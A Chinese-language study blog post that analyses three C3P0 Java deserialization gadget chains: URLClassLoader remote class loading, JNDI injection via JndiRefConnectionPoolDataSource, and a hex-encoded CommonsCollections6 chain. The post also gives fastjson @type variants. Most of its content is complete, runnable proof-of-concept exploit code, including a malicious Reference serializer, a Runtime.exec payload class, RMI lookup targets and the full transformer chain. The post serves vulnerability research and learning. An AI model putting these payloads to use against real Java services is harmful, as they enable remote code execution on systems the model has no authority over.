目录

C3P0 链子分析学习

C3P0 链子分析学习

概述

C3P0是一个开源的数据库连接池,它实现了数据源与JNDI绑定,支持JDBC3规范和实现了JDBC2的标准扩展说明的Connection和Statement池的DataSources对象。即将用于连接数据库的连接整合在一起形成一个随取随用的数据库连接池,使用它的开源项目有Hibernate、Spring等。

连接池:“我们在讲多线程的时候说过,创建线程是一个昂贵的操作,如果有大量的小任务需要执行,并且频繁地创建和销毁线程,实际上会消耗大量的系统资源,往往创建和消耗线程所耗费的时间比执行任务的时间还长,所以,为了提高效率,可以用线程池。
类似的,在执行JDBC的增删改查的操作时,如果每一次操作都来一次打开连接,操作,关闭连接,那么创建和销毁JDBC连接的开销就太大了。为了避免频繁地创建和销毁JDBC连接,我们可以通过连接池(Connection Pool)复用已经创建好的连接。”

环境搭建

添加依赖

<dependency>
    <groupId>com.mchange</groupId>
    <artifactId>c3p0</artifactId>
    <version>0.9.5.2</version>
</dependency>

Gadget

C3P0常见的利用方式有如下三种

  • URLClassLoader远程类加载
  • JNDI注入
  • 利用HEX序列化字节加载器进行反序列化攻击

URLClassLoader远程类加载

链子分析

就是加载远程类进行利用

Gadget Chain
PoolBackedDataSourceBase#readObject 
	ReferenceSerialized#getObject 
		ReferenceableUtils#referenceToObject 
			ObjectFactory#getObjectInstance

定位到 PoolBackedDataSourceBase#readObject 方法,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241017092050250.png

看到如果对象类型为 IndirectlySerialized,会调用其 getObject 方法,发现只有静态类 ReferenceSerialized 继承了 IndirectlySerialized 接口,跟进其 getObject 方法,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241017092605588.png

看见这里初始化上下文,然后调用了 lookup ,那如果这里能控制 contextName 变量就能进行 JNDI 注入,

现在就是如何控制变量o为ReferenceSerialized对象,来到 PoolBackedDataSourceBase 的writeObject 方法,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241017093623425.png

看见反序列化了 connectionPoolDataSource 对象,而该对象没有继承 Serializable 接口

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241017105033123.png

所以在序列化的时候会进入 catch 模块,在 catch 模块会调用 indirector.indirectForm 处理后在进行序列化,跟进ReferenceIndirector.indirectForm 方法。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241017105427304.png

看见会返回一个 ReferenceSerialized 对象,再跟进其构造函数

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241017105717743.png

这里控制的是 reference 参数,但这里的属性contextName为默认null且不可控,所以不能触发JNDI注入,

继续跟进 ReferenceSerialized#getObject 方法,其调用了 ReferenceableUtils#referenceToObject 方法

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241017220555894.png

其中 ref 变量是可以控制的,所以 fClassName 也可以控制,然后先是获取上下文构造器,然后如果 fClassLocation 就直接使用当前上下文构造器进行加载,反之使用 URLClassLoader 进行远程加载,而这个 fClassLocation 我们同样是可以控制的。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241017220710383.png

poc 构造

先创建个继承了ConnectionPoolDataSource 接口和 Referenceable 的类,并且重写接口ConnectionPoolDataSource 以及其父类 CommonDataSource 接口的方法,

public static class EXP_Loader implements ConnectionPoolDataSource, Referenceable{  
    @Override  
    public Reference getReference() throws NamingException {  
        return new Reference("poc","poc","http://127.0.0.1:8888/");  
    }  
    @Override  
    public PooledConnection getPooledConnection() throws SQLException {  
        return null;  
    }  
    @Override  
    public PooledConnection getPooledConnection(String user, String password) throws SQLException {  
        return null;  
    }  
    @Override  
    public PrintWriter getLogWriter() throws SQLException {  
        return null;  
    }  
    @Override  
    public void setLogWriter(PrintWriter out) throws SQLException {  
    }  
    @Override  
    public void setLoginTimeout(int seconds) throws SQLException {  
    }  
    @Override  
    public int getLoginTimeout() throws SQLException {  
        return 0;  
    }  
    @Override  
    public Logger getParentLogger() throws SQLFeatureNotSupportedException {  
        return null;  
    }  
}

因为上面看到在序列化时需要序列化 connectionPoolDataSource 对象,才能触发 catch 模块返回 ReferenceSerialized 对象,朔源发现其赋值的地方,是调用 setConnectionPoolDataSource 方法进行赋值的,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241017224319841.png

然后至于这个类是不是重写不重要,主要是需要控制 reference 参数,所以这里直接写个类只需要满足是connectionPoolDataSource 对象,然后 reference 参数改为我们控制的。

然后将其实例化,调用 setConnectionPoolDataSource 方法进行赋值,赋值将其序列化

public static void Pool_Serial() throws PropertyVetoException,NoSuchFieldException, IllegalAccessException, IOException {  
	//也可以反射修改connectionPoolDataSource属性值,这里直接调用方法好了
    PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);  
    poolBackedDataSourceBase.setConnectionPoolDataSource(new EXP_Loader());
      
    FileOutputStream fos = new FileOutputStream(new File("exp.bin"));  
    ObjectOutputStream oos = new ObjectOutputStream(fos);  
    oos.writeObject(poolBackedDataSourceBase);  
  
}  
  

public static void Pool_Deserial() throws IOException, ClassNotFoundException {  
    FileInputStream fis = new FileInputStream(new File("exp.bin"));  
    ObjectInputStream objectInputStream = new ObjectInputStream(fis);  
    objectInputStream.readObject();  
}  
  
public static void main(String[] args) throws IOException, PropertyVetoException,NoSuchFieldException, IllegalAccessException, ClassNotFoundException {  
    Pool_Serial();  
    Pool_Deserial();  
}

综上,完整的 poc

package org.example;  
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;  
  
import javax.naming.NamingException;  
import javax.naming.Reference;  
import javax.naming.Referenceable;  
import javax.sql.ConnectionPoolDataSource;  
import javax.sql.PooledConnection;  
import java.beans.PropertyVetoException;  
import java.io.*;  
import java.lang.reflect.Field;  
import java.sql.SQLException;  
import java.sql.SQLFeatureNotSupportedException;  
import java.util.logging.Logger;  
  
public class C3P0 {  
    public static class EXP_Loader implements ConnectionPoolDataSource, Referenceable{  
        @Override  
        public Reference getReference() throws NamingException {  
            return new Reference("poc","poc","http://127.0.0.1:8888/");  
        }  
        @Override  
        public PooledConnection getPooledConnection() throws SQLException {  
            return null;  
        }  
        @Override  
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {  
            return null;  
        }  
        @Override  
        public PrintWriter getLogWriter() throws SQLException {  
            return null;  
        }  
        @Override  
        public void setLogWriter(PrintWriter out) throws SQLException {  
        }  
        @Override  
        public void setLoginTimeout(int seconds) throws SQLException {  
        }  
        @Override  
        public int getLoginTimeout() throws SQLException {  
            return 0;  
        }  
        @Override  
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {  
            return null;  
        }  
    }  
  
    //序列化  
    public static void Pool_Serial() throws PropertyVetoException,NoSuchFieldException, IllegalAccessException, IOException {  
        //反射修改connectionPoolDataSource属性值为我们的恶意ConnectionPoolDataSource类  
        PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);  
        poolBackedDataSourceBase.setConnectionPoolDataSource(new EXP_Loader());  
        //序列化流写入文件  
        FileOutputStream fos = new FileOutputStream(new File("exp.bin"));  
        ObjectOutputStream oos = new ObjectOutputStream(fos);  
        oos.writeObject(poolBackedDataSourceBase);  
  
    }  
  
    //反序列化  
    public static void Pool_Deserial() throws IOException, ClassNotFoundException {  
        FileInputStream fis = new FileInputStream(new File("exp.bin"));  
        ObjectInputStream objectInputStream = new ObjectInputStream(fis);  
        objectInputStream.readObject();  
    }  
  
    public static void main(String[] args) throws IOException, PropertyVetoException,NoSuchFieldException, IllegalAccessException, ClassNotFoundException {  
        Pool_Serial();  
        Pool_Deserial();  
    }  
  
}

恶意类,poc.java

import java.io.IOException;
 
public class exp {
    public exp() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

然后 python 服务启动监听,弹出计算机,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241017225847550.png

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241017230104135.png

完整过程调试

直接跟进 writeObjcte 函数,一路跟到 indirectForm 方法

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241017230435030.png

返回了个实例化的 ReferenceSerialized 对象,除了 reference,其他变量都为 null。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241018140846237.png

然后序列化其实就是返回个带恶意 poc 的 ReferenceSerialized 对象,现在跟进反序列化函数,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241018141122383.png

调用了 o 的 getobject 方法,o 就是 ReferenceSerialized 对象嘛,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241018141229321.png

继续,最后通过 URLClassLoader 加载远程类。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241018141335015.png

补充

为什么 name 属性不能控制,尝试调用其 setter 方法进行赋值,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241018141547445.png

看到是成功调用到了 setName 函数,并且给 name 赋值,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241018141607434.png

但是继续跟进序列化,发现 name 还是为 null

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241018141756994.png

其实原因也很简单,就是对象不一样,这里的对象 ReferenceIndirector 还是调用的无参构造方法进行实例化的,又因为这里返回对象在序列化内,所以很显然我们无法控制,(但是可以用 javassist 直接修改 name 的值,其是在编译的时候直接修改的)

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241018141727602.png

那外面能控制,为什么不在外面进行 new 个 ReferenceSerialized 对象在调用其 getobject 方法呢?

就算再外面实例化了,最后调用反序列的时候还是反序列化 connectionPoolDataSource,获得的 ReferenceSerialized 对象还是在里面。

JNDI注入

链子分析

Gadget

#修改jndiName
JndiRefConnectionPoolDataSource#setJndiName ->
	JndiRefForwardingDataSource#setJndiName
 
#JNDI调用
JndiRefConnectionPoolDataSource#setLoginTime ->
	WrapperConnectionPoolDataSource#setLoginTime ->
		JndiRefForwardingDataSource#setLoginTimeout ->
			JndiRefForwardingDataSource#inner ->
				JndiRefForwardingDataSource#dereference() ->
					Context#lookup

定位到 JndiRefConnectionPoolDataSource 类,漏洞点在其调用的 WrapperConnectionPoolDataSource#setLoginTimeout 函数

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241018200902466.png

跟进看到再次调用了 setLoginTimeout 函数,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241018201112679.png

先看 getNestedDataSource() 方法,返回了 nestedDataSource 变量,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241018201159534.png

朔源发现该变量是通过 setNestedDataSource 方法进行的赋值

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241018201403526.png

JndiRefConnectionPoolDataSource 类调用 setLoginTimeout 时。对 WrapperConnectionPoolDataSource 进行了实例化并调用了 setNestedDataSource 方法为 nestedDataSource 变量赋值

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241018201605351.png

所以回到上面的 WrapperConnectionPoolDataSource#setLoginTimeout 方法中,继续跟进 JndiRefForwardingDataSource#setLoginTimeout 方法

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241018201707908.png

这里调用 inner 方法,进行跟进

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241018201815535.png

跟进到 dereference() 方法,看到了 lookup 方法,并且 jndiName 我们可以控制,看上面的 gadget,可以通过函数 setJndiName 进行控制

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241018201845380.png

poc 构造

那么剩下的 poc 就简单了

public class C3P02 {  
    public static void main(String[] args)throws Exception {  
  
        JndiRefConnectionPoolDataSource exp = new JndiRefConnectionPoolDataSource();  
        exp.setJndiName("rmi://localhost:1099/hello");  
        exp.setLoginTimeout(1);  
  
    }  
}

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241018204548432.png

fastjson 链子,变一下打 ql 表达式也可以,以为两个变量存在 setter 方法

public class C3P0 {
public static void main(String[] args) throws SQLException {
    String payload = "{" +
            "\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +
            "\"JndiName\":\"rmi://127.0.0.1:1099/hello\", " +
            "\"LoginTimeout\":0" +
            "}";
    JSON.parse(payload);
}

HEX序列化

链子分析

该利用链能够反序列化一串十六进制字符串,因此实际利用需要有存在反序列化漏洞的组件

Gadget
#设置userOverridesAsString属性值
WrapperConnectionPoolDataSource#setuserOverridesAsString ->
	WrapperConnectionPoolDataSourceBase#setUserOverridesAsString
 
#初始化类时反序列化十六进制字节流
WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource ->
	C3P0ImplUtils#parseUserOverridesAsString ->
		SerializableUtils#fromByteArray ->
			SerializableUtils#deserializeFromByteArray ->
				ObjectInputStream#readObject
构造函数触发

定位到 WrapperConnectionPoolDataSource 类的构造函数

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241018205635641.png

跟进到 C3P0ImplUtils.parseUserOverridesAsString 方法,看到先是进行 hex 解码为一个 byte 类型,然后调用了方法 fromByteArray 将其变为 map 类

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241018210059268.png

跟进

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241018210210312.png

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241018210223792.png

看见了 readobject,可以进行反序列化,需要存在可利用的 gadget,这里尝试利用 cc6 ,pom.xml

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

先构造出 cc6 的链子,去掉反序列化,

package org.example;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
import java.io.*;  
import java.util.HashMap;  
import java.util.Map;  
import java.lang.reflect.Field;  
  
  
public class C3P03 {  
    public static void main(String[] args)throws Exception {  
  
        Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),  
        };  
  
        ChainedTransformer cha = new ChainedTransformer(transformers);  
        HashMap<Object, Object> map = new HashMap<>();  
        Map<Object, Object> Lazy = LazyMap.decorate(map,new ConstantTransformer(1));  
  
        TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");  
        HashMap<Object,Object> hashmap = new HashMap<>();  
        hashmap.put(Tie,"gaoren");  
        Class<LazyMap> lazyMapClass = LazyMap.class;  
        Field factoryField = lazyMapClass.getDeclaredField("factory");  
        factoryField.setAccessible(true);  
        factoryField.set(Lazy, cha);  
        Lazy.remove("aaa");  
        serilize(hashmap);  
          
    }  
    public static void serilize(Object obj)throws IOException {  
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));  
        out.writeObject(obj);  
    }  
}

然后再 parseUserOverridesAsString 函数中不难看出,hexAscii 就是传入的参数 userOverridesAsString 提取出来的。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241018212222044.png

而 userOverridesAsString 是通过 getUserOverridesAsString() 方法获得的,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241018212634797.png

可以通过反射为 userOverridesAsString 赋值,

package org.example;  
  
import com.mchange.v2.c3p0.ConnectionCustomizer;  
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;  
import com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
  
import javax.sql.PooledConnection;  
import java.io.*;  
import java.sql.SQLException;  
import java.util.HashMap;  
import java.util.Map;  
import java.lang.reflect.Field;  
  
  
public class Main{  
    public static void main(String[] args)throws Exception {  
  
        Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),  
        };  
  
        ChainedTransformer cha = new ChainedTransformer(transformers);  
        HashMap<Object, Object> map = new HashMap<>();  
        Map<Object, Object> Lazy = LazyMap.decorate(map,new ConstantTransformer(1));  
  
        TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");  
        HashMap<Object,Object> hashmap = new HashMap<>();  
        hashmap.put(Tie,"gaoren");  
        Class<LazyMap> lazyMapClass = LazyMap.class;  
        Field factoryField = lazyMapClass.getDeclaredField("factory");  
        factoryField.setAccessible(true);  
        factoryField.set(Lazy, cha);  
        Lazy.remove("aaa");  
        serilize(hashmap);  
  
        InputStream in = new FileInputStream("111.bin");  
        byte[] bytein = toByteArray(in);  
        String Hex = "HexAsciiSerializedMap:"+bytesToHexString(bytein,bytein.length)+"p";  
        WrapperConnectionPoolDataSource exp = new WrapperConnectionPoolDataSource();  
        setValue(exp, "userOverridesAsString", Hex);  
    }  
    public static void serilize(Object obj)throws IOException {  
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));  
        out.writeObject(obj);  
    }  
    public static byte[] toByteArray(InputStream in) throws IOException {  
        byte[] classBytes;  
        classBytes = new byte[in.available()];  
        in.read(classBytes);  
        in.close();  
        return classBytes;  
    }  
    public static String bytesToHexString(byte[] bArray, int length) {  
        StringBuffer sb = new StringBuffer(length);  
  
        for(int i = 0; i < length; ++i) {  
            String sTemp = Integer.toHexString(255 & bArray[i]);  
            if (sTemp.length() < 2) {  
                sb.append(0);  
            }  
  
            sb.append(sTemp.toUpperCase());  
        }  
        return sb.toString();  
    }  
    public static void setValue(Object obj,String fieldName,Object value) throws Exception {  
        Field field = obj.getClass().getSuperclass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj,value);  
    }  
  
}

但是发现并不能触发,因为先调用构造函数然后才是反射赋值,和正常的反序列不同,那个是把属性放进去后然后反序列化调用是对象已经有值。

setter 方法触发

还可以调用 setUserOverridesAsString 进行赋值,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241018212825488.png

所以构造 poc

package org.example;  
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
import java.io.*;  
import java.util.HashMap;  
import java.util.Map;  
import java.lang.reflect.Field;  
  
  
public class C3P03{  
    public static void main(String[] args)throws Exception {  
  
        Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),  
        };  
  
        ChainedTransformer cha = new ChainedTransformer(transformers);  
        HashMap<Object, Object> map = new HashMap<>();  
        Map<Object, Object> Lazy = LazyMap.decorate(map,new ConstantTransformer(1));  
  
        TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");  
        HashMap<Object,Object> hashmap = new HashMap<>();  
        hashmap.put(Tie,"gaoren");  
        Class<LazyMap> lazyMapClass = LazyMap.class;  
        Field factoryField = lazyMapClass.getDeclaredField("factory");  
        factoryField.setAccessible(true);  
        factoryField.set(Lazy, cha);  
        Lazy.remove("aaa");  
        serilize(hashmap);  
  
        InputStream in = new FileInputStream("111.bin");  
        byte[] bytein = toByteArray(in);  
        String Hex = "HexAsciiSerializedMap:"+bytesToHexString(bytein,bytein.length)+"p";  
        WrapperConnectionPoolDataSource exp = new WrapperConnectionPoolDataSource();  
        exp.setUserOverridesAsString(Hex);  //最终触发点
    }  
    public static void serilize(Object obj)throws IOException {  
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));  
        out.writeObject(obj);  
    }  
    public static byte[] toByteArray(InputStream in) throws IOException {  
        byte[] classBytes;  
        classBytes = new byte[in.available()];  
        in.read(classBytes);  
        in.close();  
        return classBytes;  
    }  
    public static String bytesToHexString(byte[] bArray, int length) {  
        StringBuffer sb = new StringBuffer(length);  
  
        for(int i = 0; i < length; ++i) {  
            String sTemp = Integer.toHexString(255 & bArray[i]);  
            if (sTemp.length() < 2) {  
                sb.append(0);  
            }  
  
            sb.append(sTemp.toUpperCase());  
        }  
        return sb.toString();  
    }  
}

而这里在调用 setter 赋值的时候同样会触发反序列化,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250401130644289.png

跟进 fireVetoableChange 方法,重载了这个方法

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250401130930346.png

跟进

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250401130958840.png

看到调用了 C3P0ImplUtils.parseUserOverridesAsString 方法,和上面构造函数一样后续同样可以触发到 readobject 进行反序列化。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250401131013270.png

最后也成功执行。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241018215718199.png

fastjson 反序列化。

package org.example.serialize.c3p0;

import com.alibaba.fastjson.JSON;
import com.mchange.lang.ByteUtils;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import java.util.Base64;

public class C3P0Hex {
    public static void main(String[] args) {
        byte[] exp = Base64.getDecoder().decode("rO0ABXNyABFqYXZh...AAAB4eHQABW5pdmlheA==");
        String hex = ByteUtils.toHexAscii(exp);

        String payload = "{" +
                "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
                "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
                "}";
        JSON.parse(payload);
    }
}

setter 方法的调用链为:

Gadget
WrapperConnectionPoolDataSource#setuserOverridesAsString ->
	WrapperConnectionPoolDataSourceBase#setUserOverridesAsString->
 		VetoableChangeSupport#fireVetoableChange->
 			WrapperConnectionPoolDataSource#vetoableChange->
				WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource ->
					C3P0ImplUtils#parseUserOverridesAsString ->
						SerializableUtils#fromByteArray ->
							SerializableUtils#deserializeFromByteArray ->
								ObjectInputStream#readObject

参考:https://nivi4.notion.site/C3P0-5f394336d9604e8ca80e0bb55c4ce473

参考:https://goodapple.top/archives/1749

参考:https://tttang.com/archive/1411/#toc_poc_1